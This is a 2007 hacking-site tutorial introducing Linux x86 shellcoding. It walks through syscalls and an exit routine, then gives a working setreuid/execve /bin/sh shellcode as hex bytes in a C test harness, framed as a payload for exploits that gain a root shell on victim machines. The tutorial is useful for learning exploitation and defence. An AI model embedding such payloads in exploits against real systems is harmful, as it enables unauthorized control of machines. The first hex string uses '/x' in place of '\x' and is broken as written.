Playhack.net
OUR NETWORKPROJECTS • NEWSFORGE • RETROLAB • XSSing BROWSELinks • RSS Feed
Infos: Introduction To Linux Shellcoding
Author: Nexus
Date: 08/04/2007
Link this Paper:  +Add to Del.icio.us   +Digg it   +Add to Technorati
Translate this paper:  Arabic  Chinese  French  German  Italian  Portuguese  Russian  Spanish
/================================================================================\
---------------------------------[ PLAYHACK.net ]---------------------------------
\================================================================================/


-[ INFOS ]-----------------------------------------------------------------------
Title: "Introduction to Linux Shellcoding"
Author: Nexus
Website: http://nexus.playhack.net
Date: 2007-04-08 (ISO 8601)
---------------------------------------------------------------------------------


-[ SUMMARY ]---------------------------------------------------------------------
     0x01: Introduction
     0x02: Let's Get Into
     0x03: Linux Syscall
     0x04: The First Shellcode
     0x05: A Bit Harder
     0x06: Conclusions
---------------------------------------------------------------------------------



---[ 0x01: Intruduction ]
One of the most important concept of "exploiting art" (as i like to call it :P)
is know hot to make the victim machine make exactly what you strictly want to make
it do.
After having focused the bug where the system falls, we need to know how to
disfrute that lack of security for our commonly main aim: gain full control on the
machine.

The shellcode is literally a "code" that returns a remote (or local) shell when
executed.
This meaning has been evolved in the time, and actually the "shellcode" represent
a customized excaped hex code inserted in an exploit in order to accomplish
a particular task.

Beware, it's not all that easy because it needs some good knowledges of Assembler
and kernel (i'll use Linux Kernel as reference), but in the time you'll find it
quite funny :)
-----------------------------------------------------------------------------[/]



---[ 0x02: Let's Get Into ]
A shellcode it's nothing else than the excaped hex complementar of builted Assembler
code.
In this tutorial we're not going to deal with the exploits code writing, but simply
with the shellcoding side of exploit: let's see how we'll check out if our
shellcode works out well.

This is an example C code used to try out our codes, there several ways to write
this but they works out all the same.

     /* shellcode.c */
     #include <stdio.h>
     #include <stdlib.h>

     int main() {
          char scode[] = "SHELLCODE";
          (*(void (*)()) scode)();
     }     

Using this C "template" we're gonna try out the shellcodes we're going to write.
-----------------------------------------------------------------------------[/]



---[ 0x03: Linux Syscall ]
The shellcodes contains the directives of the task we want to accomplish, and
this actions are effectively took in action by the so called "syscalls": the
linux kernel has a list of about 190 syscall that has a numeric id called from
assembly instructions.
For example, to make the program exit we're gonna call the "1" syscall through this
x86 Assembly command:
     mov al, 1
     
This instruction to be understood require a little knowledge of x86 Assembler, so
let's have a little resume:
     - eax, ebx, ecx, edx: these are the General Purpose Registers of the
      x86 platform;
     - ax, bx, cx, dx: these permits to access to the lower 16 bits of above
      registers;
     - al, bl, cl, dl: these instead premits to access to the lower 8 bits;

Syscall which require until 6 arguments are called to the General Purpose Registers:
to get a good overview i suggest you to visit this page:
     http://www.playhack.net/docs/syscall.html

Let's get back to the previous instruction:
     
     mov al, 1
     
As we may now know, with tihs command we call the 1 identified syscall (exit)
in the "al", that means in the lower 8 bits of the register.
To make this action effective, we can interface with the linux kernel using
the command:
     
     int 0x80
     
This interface is standard in all Linux systems and permits to make active the
shellcodes we're gonna write.
-----------------------------------------------------------------------------[/]



---[ 0x04: The First Shellcode ]
Now that we got a general idea of how we can use Linux Syscalls and x86 Assembly,
we can try to write our first ASM code that we'll later convert into shellcode's
hex charaters.
     
     ; exit.asm
     [SECTION .text]
     global _start
     _start:
          xor eax, eax
          mov al, 1
          xor ebx, ebx
          int 0x80

Let's analize line by line the whole code.
     - xor eax, eax: reset the eax General Purpose Register;
     - mov al, 1: we call the linux syscall number 1
      (that simply make the program exit);
     - xor ebx, ebx: make the ebx register zero;
     - int 0x80: we interface with the kernel and run out the program.

Try to compile and run the code using the following commands:
     $ nasm -f elf exit.asm
     $ ld -o exiter exit.o
     $ ./exiter

The program will simply exit with no errors in output.
Actually we got a well running ASM code which we want to include into an exploit
in order to make this code run in remote or whatever: let's convert this code
into excaped hex code!
We already got the binary of our program (we've created it before)so we just
need to disassemble it:
     $ objdump -d exiter
     
This will be quite a common output:
     exiter: file format elf32-i386

     Disassembly of section .text:

     08048080 <_start>:
      8048080: 31 c0 xor %eax,%eax
      8048082: b0 01 mov $0x1,%al
      8048084: 31 db xor %ebx,%ebx
      8048086: cd 80 int $0x80

As we can see the disassembly prints us out our assembly code on the last coloumn,
instead in the center coloumn we got exactly the hex we need to create our shellcode:
     31 c0
     b0 01
     31 db
     cd 80

As it comes the result shellcodes will be:
     /x31/xc0/xb0/x01/x31/xdb/xcd/x80
     
Let's try out this shellcode with our C template, that's how it looks:

     /* shellcode.c */
     #include <stdio.h>
     #include <stdlib.h>

     int main() {
          char scode[] = "/x31/xc0/xb0/x01/x31/xdb/xcd/x80";
          (*(void (*)()) scode)();
     }

It works! ;)
Cheers! You finally created your first shellcode.
-----------------------------------------------------------------------------[/]



---[ 0x05: A Bit Harder ]
Ok, now we learnt how the kernel works out and how to use it in order to create
shellcodes for our exploits.
But let's try to do something more difficult and more useful: the most common use
for a shellcode is to return a shell (/bin/sh) when executing it, and that's what
we're going to do right now :)

The main concept of creating a good shellcodes is considering the drop of privileges:
if the exploited software doesn't require root privileges and if doesn't drop them
at exploiting, the shellcodes will only returns the common user shell.

This shellcode has been written by Omni and you can find it here:
     http://www.playhack.net/view.php?type=4&id=1
     
Let's analize it.

     ; getshell.asm
     global _start

     _start:
          ; setreuid(uid_t ruid, uid_t euid)
          xor eax, eax          ; reset the eax register
          xor ebx, ebx          ; reset the ebx register
          xor ecx, ecx          ; reset the ecx register
          xor edx, edx          ; reset the edx register

          mov al, 70          ; insert 70 in eax, because the
                         ; setreuid is syscall #70
                         
          int 0x80          ; interface with the kernel to
                         ; make the syscall active

          ; execve(const char *filename, char *const argv[], char *const envp[])
          push ecx          ; insert 4 byte null from ecx
                         ; in the stack

          push 0x68732f2f          ; insert //sh in the stack
          push 0x6e69622f          ; insert /bin in the stack

          
          mov ebx, esp          ; insert "/bin//sh" in the ebx
                         ; through esp
                         
          push ecx          ; insert 4 byte null
          push ebx           ; insert ebx in the stack

          mov ecx, esp          ; insert ebx address in ecx

          xor eax, eax          ; insert 0 in eax
          mov al, 11          ; insert 11 in eax because the
                         ; execve() is syscall #11

          int 0x80          ; interface with the kernel


As you can see it's not that difficult to get a shell spawned: we set back the dropped
privileges (if any) using the setreuid() syscall and then with the execve(), which
permits to keep privileges, we get in return the shell.
We now just need to get the shellcode from this just like we did before,
so compile the code:
     $ nasm -f elf getshell.asm
     $ ld -o getshell getshell.o

And then let's disassembly:
     $ objdump -d getshell

     getshell: file format elf32-i386

     Disassembly of section .text:

     08048080 <_start>:
      8048080: 31 c0 xor %eax,%eax
      8048082: 31 db xor %ebx,%ebx
      8048084: 31 c9 xor %ecx,%ecx
      8048086: 31 d2 xor %edx,%edx
      8048088: b0 46 mov $0x46,%al
      804808a: cd 80 int $0x80
      804808c: 51 push %ecx
      804808d: 68 2f 2f 73 68 push $0x68732f2f
      8048092: 68 2f 62 69 6e push $0x6e69622f
      8048097: 89 e3 mov %esp,%ebx
      8048099: 51 push %ecx
      804809a: 53 push %ebx
      804809b: 89 e1 mov %esp,%ecx
      804809d: 31 c0 xor %eax,%eax
      804809f: b0 0b mov $0xb,%al
      80480a1: cd 80 int $0x80
     
And as we learnt before the final shellcode is:
     \x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\x51\x68\x2f\x2f\x73\x68
     \x68\x2f\x62\x69\x6e\x89\xe3\x51\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80

Finally the C code:
     /* shellcode.c */
     #include <stdio.h>
     #include <stdlib.h>

     int main() {
          char scode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46"
                "\xcd\x80\x51\x68\x2f\x2f\x73\x68"
                "\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53"
                "\x89\xe1\x31\xc0\xb0\x0b\xcd\x80";
          (*(void (*)()) scode)();
     }     

Let's try this out:
     $ gcc -o shellcode shellcode.c
     $ ./shellcode
     sh-3.1$

If the exploited software is running with root privileges obviously
the shellcode will return a "root shell" :)
-----------------------------------------------------------------------------[/]



---[ 0x05: Conclusions ]
As we saw the shellcode is a very personal and customized side of exploitation,
and, even if it seems, it's not really that "hard" hacking :)
You just need some practise and a little knowledge of privileges system and kernel
syscalls and you can forge out all the shellcodes you need!

That's all folks ;)
And have fun.
-----------------------------------------------------------------------------[/]


\======================================[EOF]=====================================/
PARTNER